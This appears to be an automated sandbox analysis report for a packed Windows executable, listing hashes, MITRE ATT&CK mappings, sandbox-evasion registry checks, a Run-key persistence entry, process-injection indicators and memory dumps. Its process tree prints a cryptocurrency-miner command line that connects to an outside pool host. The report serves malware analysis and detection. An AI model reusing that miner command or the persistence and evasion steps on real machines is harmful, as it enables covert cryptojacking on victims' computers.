21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44

General

Target

21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe
Size

2.0MB
MD5

8b9c90eadea4813f4ed88f2fd2514051
SHA1

5fa5acdc0a992852adb1f0f8abe89e91275870df
SHA256

21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44
SHA512

233aa12dba23fd5ae67f35d775916be293639e80d858fb861b8d741ec73faeec00eeda1d23f78f9f4d62229b8b5321b21b6f4f4b19dee1da8d1a2a3821f6d8aa
SSDEEP

49152:oThCyvCn05iiti9qo/3xgFZiKxlShWdh9uAnGr5FmcI:oVCsxtc+QhVAnOm5

Score

7^/10

evasion persistence themida

Malware Config

Signatures

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe

Identifies Wine through registry keys 2 TTPs 1 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

Processes:

21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Wine	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe

Themida packer 2 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
behavioral1/memory/608-54-0x0000000000400000-0x0000000000608000-memory.dmp	themida
behavioral1/memory/608-92-0x0000000000400000-0x0000000000608000-memory.dmp	themida

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Windows\CurrentVersion\Run	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Windows\CurrentVersion\Run\WINSXS32 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe"	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe

pid process

608 21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe

description	pid	process	target process
PID 608 set thread context of 1100	608	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe
PID 608 set thread context of 2020	608	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe
PID 608 set thread context of 1404	608	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe

pid	process
608	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe
1100	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe

Suspicious use of WriteProcessMemory 25 IoCs

Processes:

21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe

C:\Users\Admin\AppData\Local\Temp\21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe
"C:\Users\Admin\AppData\Local\Temp\21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe"
1⤵
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:608

C:\Users\Admin\AppData\Local\Temp\21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe
WinMine.exe
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1100

C:\Users\Admin\AppData\Local\Temp\21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe
WinMine.exe
2⤵
- Adds Run key to start application
PID:2020

C:\Users\Admin\AppData\Local\Temp\21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe
bitcoin-miner.exe -a 60 -l no -o http://rdp.domain-crawlers.com:8332/ -u [email protected] -p password
2⤵
PID:1404

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Virtualization/Sandbox Evasion

1

T1497

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

1

T1082

Virtualization/Sandbox Evasion

1

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/608-63-0x0000000004180000-0x0000000004388000-memory.dmp

Filesize
2.0MB

Download
memory/608-55-0x0000000002100000-0x0000000002267000-memory.dmp

Filesize
1.4MB

Download
memory/608-80-0x0000000004180000-0x0000000004388000-memory.dmp

Filesize
2.0MB

Download
memory/608-79-0x0000000004180000-0x0000000004388000-memory.dmp

Filesize
2.0MB

Download
memory/608-54-0x0000000000400000-0x0000000000608000-memory.dmp

Filesize
2.0MB

Download
memory/608-92-0x0000000000400000-0x0000000000608000-memory.dmp

Filesize
2.0MB

Download
memory/608-93-0x0000000004180000-0x0000000004388000-memory.dmp

Filesize
2.0MB

Download
memory/1100-57-0x0000000000400000-0x0000000000403000-memory.dmp

Filesize
12KB

Download
memory/1100-62-0x0000000000400000-0x0000000000403000-memory.dmp

Filesize
12KB

Download
memory/1100-59-0x0000000000400000-0x0000000000403000-memory.dmp

Filesize
12KB

Download
memory/1100-60-0x0000000000401037-mapping.dmp

Download
memory/1100-58-0x0000000000400000-0x0000000000403000-memory.dmp

Filesize
12KB

Download
memory/1100-56-0x0000000000400000-0x0000000000403000-memory.dmp

Filesize
12KB

Download
memory/1404-83-0x00000000004F0000-0x000000000053C000-memory.dmp

Filesize
304KB

Download
memory/1404-87-0x0000000000400000-0x000000000053B37A-memory.dmp

Filesize
1.2MB

Download
memory/1404-71-0x0000000000400000-0x000000000053C000-memory.dmp

Filesize
1.2MB

Download
memory/1404-94-0x0000000000400000-0x000000000053B37A-memory.dmp

Filesize
1.2MB

Download
memory/1404-75-0x0000000000400000-0x000000000053C000-memory.dmp

Filesize
1.2MB

Download
memory/1404-73-0x0000000000400000-0x000000000053C000-memory.dmp

Filesize
1.2MB

Download
memory/1404-77-0x0000000000400000-0x000000000053C000-memory.dmp

Filesize
1.2MB

Download
memory/1404-78-0x0000000000401000-mapping.dmp

Download
memory/1404-91-0x0000000000400000-0x000000000053B37A-memory.dmp

Filesize
1.2MB

Download
memory/1404-86-0x0000000075811000-0x0000000075813000-memory.dmp

Filesize
8KB

Download
memory/1404-81-0x0000000000400000-0x000000000053B37A-memory.dmp

Filesize
1.2MB

Download
memory/1404-85-0x0000000000400000-0x000000000053B37A-memory.dmp

Filesize
1.2MB

Download
memory/1404-82-0x00000000004F0000-0x000000000053C000-memory.dmp

Filesize
304KB

Download
memory/1404-84-0x0000000000400000-0x000000000053C000-memory.dmp

Filesize
1.2MB

Download
memory/2020-65-0x0000000000400000-0x0000000000404000-memory.dmp

Filesize
16KB

Download
memory/2020-64-0x0000000000400000-0x0000000000404000-memory.dmp

Filesize
16KB

Download
memory/2020-72-0x0000000000400000-0x0000000000404000-memory.dmp

Filesize
16KB

Download
memory/2020-69-0x0000000000401037-mapping.dmp

Download
memory/2020-66-0x0000000000400000-0x0000000000404000-memory.dmp

Filesize
16KB

Download
memory/2020-67-0x0000000000400000-0x0000000000404000-memory.dmp

Filesize
16KB

Download
memory/2020-74-0x0000000000400000-0x0000000000404000-memory.dmp

Filesize
16KB

Download

description	pid	process	target process
PID 608 wrote to memory of 1100	608	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe
PID 608 wrote to memory of 1100	608	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe
PID 608 wrote to memory of 1100	608	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe
PID 608 wrote to memory of 1100	608	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe
PID 608 wrote to memory of 1100	608	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe
PID 608 wrote to memory of 1100	608	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe
PID 608 wrote to memory of 1100	608	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe
PID 608 wrote to memory of 1100	608	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe
PID 608 wrote to memory of 2020	608	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe
PID 608 wrote to memory of 2020	608	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe
PID 608 wrote to memory of 2020	608	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe
PID 608 wrote to memory of 2020	608	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe
PID 608 wrote to memory of 2020	608	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe
PID 608 wrote to memory of 2020	608	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe
PID 608 wrote to memory of 2020	608	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe
PID 608 wrote to memory of 2020	608	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe
PID 608 wrote to memory of 2020	608	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe
PID 608 wrote to memory of 1404	608	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe
PID 608 wrote to memory of 1404	608	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe
PID 608 wrote to memory of 1404	608	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe
PID 608 wrote to memory of 1404	608	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe
PID 608 wrote to memory of 1404	608	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe
PID 608 wrote to memory of 1404	608	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe
PID 608 wrote to memory of 1404	608	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe
PID 608 wrote to memory of 1404	608	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe	21d5abd8958b27c84f529d65dc173ccb9fa16c8aef7dfc4155bdd43af975aa44.exe

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads